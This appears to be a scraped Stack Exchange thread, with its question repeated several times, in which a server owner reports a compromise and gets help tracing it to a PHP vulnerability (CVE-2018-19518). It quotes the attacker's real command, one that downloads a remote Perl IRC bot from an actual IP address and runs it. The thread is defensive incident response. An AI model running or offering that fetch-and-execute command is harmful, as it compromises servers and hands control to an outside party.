Someone Remote Executing a Script On My Server
Multi tool use
I've been noticing over the last couple of weeks that the CPU on our server has been seeing a very high load, upon inspecting htop there have been a number of [sync_supers] processes running at 100%. Today I managed to catch it soon enough that the original command call was still in htop, the image below shows both the call to run the script and the resulting [sync_supers] processes.
Reading the line I could see it was hiding what it's calling using a base64 encoded string, which is the following:
wget -qO - http://185.234.218.248/bt2.txt|perl
The file it's downloading is a perl script that's connecting out to a irc server but I at a quick look (I don't know perl) I'm not sure what it's doing beyond hammering my CPU, although I'm assuming it's bitcoin farming or something. I've tried to find information on how this hack is being performed but I've failed to find anything relieve so far, the closest I've got is it's an mention of an exploit in Apache and older kernel versions but no details or links.
Unfortunately updating the server isn't really a practical option due it being well past the end of life of the OS (it would be simpler to get a new server and copy all our software and website over). This is my fault for not keeping the server up to date to begin with and I fully acknowledge that.
OS version:
Linux version 2.6.32-5-amd64 (Debian 2.6.32-35) (dannf@debian.org) (gcc version 4.3.5 (Debian 4.3.5-4) ) #1 SMP Tue Jun 14 09:42:28 UTC 2011
I need links to relevant resources of the attack, how to block it without playing wackamole with IP addresses, etc. My best current solution is rename wget to something else, I considered writing a script to run every minute to killall [sync_supers] running on www-data but killall can't find that process when it's running and looking at the perl script they could just change the process name.
linux debian security
edited Mar 6 at 17:28
Rui F Ribeiro
41.8k1483142
asked Mar 6 at 16:55
SkidSkid
262
|
show 1 more comment
I've been noticing over the last couple of weeks that the CPU on our server has been seeing a very high load, upon inspecting htop there have been a number of [sync_supers] processes running at 100%. Today I managed to catch it soon enough that the original command call was still in htop, the image below shows both the call to run the script and the resulting [sync_supers] processes.
Reading the line I could see it was hiding what it's calling using a base64 encoded string, which is the following:
wget -qO - http://185.234.218.248/bt2.txt|perl
The file it's downloading is a perl script that's connecting out to a irc server but I at a quick look (I don't know perl) I'm not sure what it's doing beyond hammering my CPU, although I'm assuming it's bitcoin farming or something. I've tried to find information on how this hack is being performed but I've failed to find anything relieve so far, the closest I've got is it's an mention of an exploit in Apache and older kernel versions but no details or links.
Unfortunately updating the server isn't really a practical option due it being well past the end of life of the OS (it would be simpler to get a new server and copy all our software and website over). This is my fault for not keeping the server up to date to begin with and I fully acknowledge that.
OS version:
Linux version 2.6.32-5-amd64 (Debian 2.6.32-35) (dannf@debian.org) (gcc version 4.3.5 (Debian 4.3.5-4) ) #1 SMP Tue Jun 14 09:42:28 UTC 2011
I need links to relevant resources of the attack, how to block it without playing wackamole with IP addresses, etc. My best current solution is rename wget to something else, I considered writing a script to run every minute to killall [sync_supers] running on www-data but killall can't find that process when it's running and looking at the perl script they could just change the process name.
linux debian security
edited Mar 6 at 17:28
Rui F Ribeiro
41.8k1483142
asked Mar 6 at 16:55
SkidSkid
262
I don't know fully how to help but I think that you should focus more in the fact that your Apache is executing an rsh script than the wget. Probably there is a directive about the executing perms you can configure.
– Juan
Mar 6 at 17:20
and what about running agrep -R d2dldCA *in your DocumentRoot to find the source?
– Juan
Mar 6 at 17:30
6
This is very probably CVE-2018-19518, for reference. See also PHP bug #76428.
– JdeBP
Mar 6 at 17:31
7
Related: How do I deal with a compromised server? Don't try to work with that server, you don't know what been installed. It's not yours anymore (assuming root has been breached too).
– Kusalananda♦
Mar 6 at 17:34
I understand that you want to apply band-aids to resolve the immediate problem but now really is the time “to get a new server and copy all our software and website over”. Otherwise, you will just be playing whack-a-mole and even if you stop the malicious processes and prevent them from restarting, you can’t fully be sure there aren’t other well-disguised malicious processes: I once took over a server that had already been rooted and had an IRC file server disguised as a kernel module. I noticed something was off when runningrpm -Vashowed that thesshdbinary had been replaced.
– Anthony Geoghegan
Mar 7 at 12:29
|
show 1 more comment
I've been noticing over the last couple of weeks that the CPU on our server has been seeing a very high load, upon inspecting htop there have been a number of [sync_supers] processes running at 100%. Today I managed to catch it soon enough that the original command call was still in htop, the image below shows both the call to run the script and the resulting [sync_supers] processes.
Reading the line I could see it was hiding what it's calling using a base64 encoded string, which is the following:
wget -qO - http://185.234.218.248/bt2.txt|perl
The file it's downloading is a perl script that's connecting out to a irc server but I at a quick look (I don't know perl) I'm not sure what it's doing beyond hammering my CPU, although I'm assuming it's bitcoin farming or something. I've tried to find information on how this hack is being performed but I've failed to find anything relieve so far, the closest I've got is it's an mention of an exploit in Apache and older kernel versions but no details or links.
Unfortunately updating the server isn't really a practical option due it being well past the end of life of the OS (it would be simpler to get a new server and copy all our software and website over). This is my fault for not keeping the server up to date to begin with and I fully acknowledge that.
OS version:
Linux version 2.6.32-5-amd64 (Debian 2.6.32-35) (dannf@debian.org) (gcc version 4.3.5 (Debian 4.3.5-4) ) #1 SMP Tue Jun 14 09:42:28 UTC 2011
I need links to relevant resources of the attack, how to block it without playing wackamole with IP addresses, etc. My best current solution is rename wget to something else, I considered writing a script to run every minute to killall [sync_supers] running on www-data but killall can't find that process when it's running and looking at the perl script they could just change the process name.
linux debian security
edited Mar 6 at 17:28
Rui F Ribeiro
41.8k1483142
asked Mar 6 at 16:55
SkidSkid
262
I've been noticing over the last couple of weeks that the CPU on our server has been seeing a very high load, upon inspecting htop there have been a number of [sync_supers] processes running at 100%. Today I managed to catch it soon enough that the original command call was still in htop, the image below shows both the call to run the script and the resulting [sync_supers] processes.
Reading the line I could see it was hiding what it's calling using a base64 encoded string, which is the following:
wget -qO - http://185.234.218.248/bt2.txt|perl
The file it's downloading is a perl script that's connecting out to a irc server but I at a quick look (I don't know perl) I'm not sure what it's doing beyond hammering my CPU, although I'm assuming it's bitcoin farming or something. I've tried to find information on how this hack is being performed but I've failed to find anything relieve so far, the closest I've got is it's an mention of an exploit in Apache and older kernel versions but no details or links.
Unfortunately updating the server isn't really a practical option due it being well past the end of life of the OS (it would be simpler to get a new server and copy all our software and website over). This is my fault for not keeping the server up to date to begin with and I fully acknowledge that.
OS version:
Linux version 2.6.32-5-amd64 (Debian 2.6.32-35) (dannf@debian.org) (gcc version 4.3.5 (Debian 4.3.5-4) ) #1 SMP Tue Jun 14 09:42:28 UTC 2011
I need links to relevant resources of the attack, how to block it without playing wackamole with IP addresses, etc. My best current solution is rename wget to something else, I considered writing a script to run every minute to killall [sync_supers] running on www-data but killall can't find that process when it's running and looking at the perl script they could just change the process name.
linux debian security
linux debian security
edited Mar 6 at 17:28
Rui F Ribeiro
41.8k1483142
asked Mar 6 at 16:55
SkidSkid
262
edited Mar 6 at 17:28
Rui F Ribeiro
41.8k1483142
asked Mar 6 at 16:55
SkidSkid
262
edited Mar 6 at 17:28
Rui F Ribeiro
41.8k1483142
edited Mar 6 at 17:28
Rui F Ribeiro
41.8k1483142
edited Mar 6 at 17:28
Rui F Ribeiro
41.8k1483142
41.8k1483142
asked Mar 6 at 16:55
SkidSkid
262
asked Mar 6 at 16:55
SkidSkid
262
asked Mar 6 at 16:55
SkidSkid
262
262
I don't know fully how to help but I think that you should focus more in the fact that your Apache is executing an rsh script than the wget. Probably there is a directive about the executing perms you can configure.
– Juan
Mar 6 at 17:20
and what about running agrep -R d2dldCA *in your DocumentRoot to find the source?
– Juan
Mar 6 at 17:30
6
This is very probably CVE-2018-19518, for reference. See also PHP bug #76428.
– JdeBP
Mar 6 at 17:31
7
Related: How do I deal with a compromised server? Don't try to work with that server, you don't know what been installed. It's not yours anymore (assuming root has been breached too).
– Kusalananda♦
Mar 6 at 17:34
I understand that you want to apply band-aids to resolve the immediate problem but now really is the time “to get a new server and copy all our software and website over”. Otherwise, you will just be playing whack-a-mole and even if you stop the malicious processes and prevent them from restarting, you can’t fully be sure there aren’t other well-disguised malicious processes: I once took over a server that had already been rooted and had an IRC file server disguised as a kernel module. I noticed something was off when runningrpm -Vashowed that thesshdbinary had been replaced.
– Anthony Geoghegan
Mar 7 at 12:29
|
show 1 more comment
I don't know fully how to help but I think that you should focus more in the fact that your Apache is executing an rsh script than the wget. Probably there is a directive about the executing perms you can configure.
– Juan
Mar 6 at 17:20
and what about running agrep -R d2dldCA *in your DocumentRoot to find the source?
– Juan
Mar 6 at 17:30
6
This is very probably CVE-2018-19518, for reference. See also PHP bug #76428.
– JdeBP
Mar 6 at 17:31
7
Related: How do I deal with a compromised server? Don't try to work with that server, you don't know what been installed. It's not yours anymore (assuming root has been breached too).
– Kusalananda♦
Mar 6 at 17:34
I understand that you want to apply band-aids to resolve the immediate problem but now really is the time “to get a new server and copy all our software and website over”. Otherwise, you will just be playing whack-a-mole and even if you stop the malicious processes and prevent them from restarting, you can’t fully be sure there aren’t other well-disguised malicious processes: I once took over a server that had already been rooted and had an IRC file server disguised as a kernel module. I noticed something was off when runningrpm -Vashowed that thesshdbinary had been replaced.
– Anthony Geoghegan
Mar 7 at 12:29
I don't know fully how to help but I think that you should focus more in the fact that your Apache is executing an rsh script than the wget. Probably there is a directive about the executing perms you can configure.
– Juan
Mar 6 at 17:20
I don't know fully how to help but I think that you should focus more in the fact that your Apache is executing an rsh script than the wget. Probably there is a directive about the executing perms you can configure.
– Juan
Mar 6 at 17:20
and what about running a
grep -R d2dldCA * in your DocumentRoot to find the source?– Juan
Mar 6 at 17:30
and what about running a
grep -R d2dldCA * in your DocumentRoot to find the source?– Juan
Mar 6 at 17:30
6
6
This is very probably CVE-2018-19518, for reference. See also PHP bug #76428.
– JdeBP
Mar 6 at 17:31
This is very probably CVE-2018-19518, for reference. See also PHP bug #76428.
– JdeBP
Mar 6 at 17:31
7
7
Related: How do I deal with a compromised server? Don't try to work with that server, you don't know what been installed. It's not yours anymore (assuming root has been breached too).
– Kusalananda♦
Mar 6 at 17:34
Related: How do I deal with a compromised server? Don't try to work with that server, you don't know what been installed. It's not yours anymore (assuming root has been breached too).
– Kusalananda♦
Mar 6 at 17:34
I understand that you want to apply band-aids to resolve the immediate problem but now really is the time “to get a new server and copy all our software and website over”. Otherwise, you will just be playing whack-a-mole and even if you stop the malicious processes and prevent them from restarting, you can’t fully be sure there aren’t other well-disguised malicious processes: I once took over a server that had already been rooted and had an IRC file server disguised as a kernel module. I noticed something was off when running
rpm -Va showed that the sshd binary had been replaced.– Anthony Geoghegan
Mar 7 at 12:29
I understand that you want to apply band-aids to resolve the immediate problem but now really is the time “to get a new server and copy all our software and website over”. Otherwise, you will just be playing whack-a-mole and even if you stop the malicious processes and prevent them from restarting, you can’t fully be sure there aren’t other well-disguised malicious processes: I once took over a server that had already been rooted and had an IRC file server disguised as a kernel module. I noticed something was off when running
rpm -Va showed that the sshd binary had been replaced.– Anthony Geoghegan
Mar 7 at 12:29
|
show 1 more comment
1 Answer
1
active
oldest
votes
Thanks to the people that commented, JdeBP has pointed me to the exploit that was used CVE-2018-19518, PHP bug #76428. The direct fix to plug the hole would be to update PHP.
That said, all comments regards to not trusting the server are indeed valid, while I've only ever seen it running under the www-data user, and that user doesn't even have access to the files on the http server, it could of broken out of that user and done something else that I've not been able to find. Besides my server is badly out of data anyway.
Lesson, always keep your servers up to date, OS and software, even if it's a pain and causes things to break every now and again.
answered Mar 7 at 16:05
SkidSkid
262
add a comment |
Your Answer
StackExchange.ready(function() {
var channelOptions = {
tags: "".split(" "),
id: "106"
};
initTagRenderer("".split(" "), "".split(" "), channelOptions);
StackExchange.using("externalEditor", function() {
// Have to fire editor after snippets, if snippets enabled
if (StackExchange.settings.snippets.snippetsEnabled) {
StackExchange.using("snippets", function() {
createEditor();
});
}
else {
createEditor();
}
});
function createEditor() {
StackExchange.prepareEditor({
heartbeatType: 'answer',
autoActivateHeartbeat: false,
convertImagesToLinks: false,
noModals: true,
showLowRepImageUploadWarning: true,
reputationToPostImages: null,
bindNavPrevention: true,
postfix: "",
imageUploader: {
brandingHtml: "Powered by u003ca class="icon-imgur-white" href="https://imgur.com/"u003eu003c/au003e",
contentPolicyHtml: "User contributions licensed under u003ca href="https://creativecommons.org/licenses/by-sa/3.0/"u003ecc by-sa 3.0 with attribution requiredu003c/au003e u003ca href="https://stackoverflow.com/legal/content-policy"u003e(content policy)u003c/au003e",
allowUrls: true
},
onDemand: true,
discardSelector: ".discard-answer"
,immediatelyShowMarkdownHelp:true
});
}
});
Sign up or log in
StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
StackExchange.ready(
function () {
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2funix.stackexchange.com%2fquestions%2f504770%2fsomeone-remote-executing-a-script-on-my-server%23new-answer', 'question_page');
}
);
Post as a guest
Required, but never shown
1 Answer
1
active
oldest
votes
1 Answer
1
active
oldest
votes
active
oldest
votes
active
oldest
votes
Thanks to the people that commented, JdeBP has pointed me to the exploit that was used CVE-2018-19518, PHP bug #76428. The direct fix to plug the hole would be to update PHP.
That said, all comments regards to not trusting the server are indeed valid, while I've only ever seen it running under the www-data user, and that user doesn't even have access to the files on the http server, it could of broken out of that user and done something else that I've not been able to find. Besides my server is badly out of data anyway.
Lesson, always keep your servers up to date, OS and software, even if it's a pain and causes things to break every now and again.
answered Mar 7 at 16:05
SkidSkid
262
add a comment |
Thanks to the people that commented, JdeBP has pointed me to the exploit that was used CVE-2018-19518, PHP bug #76428. The direct fix to plug the hole would be to update PHP.
That said, all comments regards to not trusting the server are indeed valid, while I've only ever seen it running under the www-data user, and that user doesn't even have access to the files on the http server, it could of broken out of that user and done something else that I've not been able to find. Besides my server is badly out of data anyway.
Lesson, always keep your servers up to date, OS and software, even if it's a pain and causes things to break every now and again.
answered Mar 7 at 16:05
SkidSkid
262
add a comment |
Thanks to the people that commented, JdeBP has pointed me to the exploit that was used CVE-2018-19518, PHP bug #76428. The direct fix to plug the hole would be to update PHP.
That said, all comments regards to not trusting the server are indeed valid, while I've only ever seen it running under the www-data user, and that user doesn't even have access to the files on the http server, it could of broken out of that user and done something else that I've not been able to find. Besides my server is badly out of data anyway.
Lesson, always keep your servers up to date, OS and software, even if it's a pain and causes things to break every now and again.
answered Mar 7 at 16:05
SkidSkid
262
Thanks to the people that commented, JdeBP has pointed me to the exploit that was used CVE-2018-19518, PHP bug #76428. The direct fix to plug the hole would be to update PHP.
That said, all comments regards to not trusting the server are indeed valid, while I've only ever seen it running under the www-data user, and that user doesn't even have access to the files on the http server, it could of broken out of that user and done something else that I've not been able to find. Besides my server is badly out of data anyway.
Lesson, always keep your servers up to date, OS and software, even if it's a pain and causes things to break every now and again.
answered Mar 7 at 16:05
SkidSkid
262
answered Mar 7 at 16:05
SkidSkid
262
answered Mar 7 at 16:05
SkidSkid
262
answered Mar 7 at 16:05
SkidSkid
262
262
add a comment |
add a comment |
Thanks for contributing an answer to Unix & Linux Stack Exchange!
- Please be sure to answer the question. Provide details and share your research!
But avoid …
- Asking for help, clarification, or responding to other answers.
- Making statements based on opinion; back them up with references or personal experience.
To learn more, see our tips on writing great answers.
Sign up or log in
StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
StackExchange.ready(
function () {
StackExchange.openid.initPostLogin('.new-post-login', 'https%3a%2f%2funix.stackexchange.com%2fquestions%2f504770%2fsomeone-remote-executing-a-script-on-my-server%23new-answer', 'question_page');
}
);
Post as a guest
Required, but never shown
Sign up or log in
StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
Sign up or log in
StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
Sign up or log in
StackExchange.ready(function () {
StackExchange.helpers.onClickDraftSave('#login-link');
});
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Sign up using Google
Sign up using Facebook
Sign up using Email and Password
Post as a guest
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
Required, but never shown
znpRj0IJrrGMD HKl4mt
I don't know fully how to help but I think that you should focus more in the fact that your Apache is executing an rsh script than the wget. Probably there is a directive about the executing perms you can configure.
– Juan
Mar 6 at 17:20
and what about running a
grep -R d2dldCA *in your DocumentRoot to find the source?– Juan
Mar 6 at 17:30
6
This is very probably CVE-2018-19518, for reference. See also PHP bug #76428.
– JdeBP
Mar 6 at 17:31
7
Related: How do I deal with a compromised server? Don't try to work with that server, you don't know what been installed. It's not yours anymore (assuming root has been breached too).
– Kusalananda♦
Mar 6 at 17:34
I understand that you want to apply band-aids to resolve the immediate problem but now really is the time “to get a new server and copy all our software and website over”. Otherwise, you will just be playing whack-a-mole and even if you stop the malicious processes and prevent them from restarting, you can’t fully be sure there aren’t other well-disguised malicious processes: I once took over a server that had already been rooted and had an IRC file server disguised as a kernel module. I noticed something was off when running
rpm -Vashowed that thesshdbinary had been replaced.– Anthony Geoghegan
Mar 7 at 12:29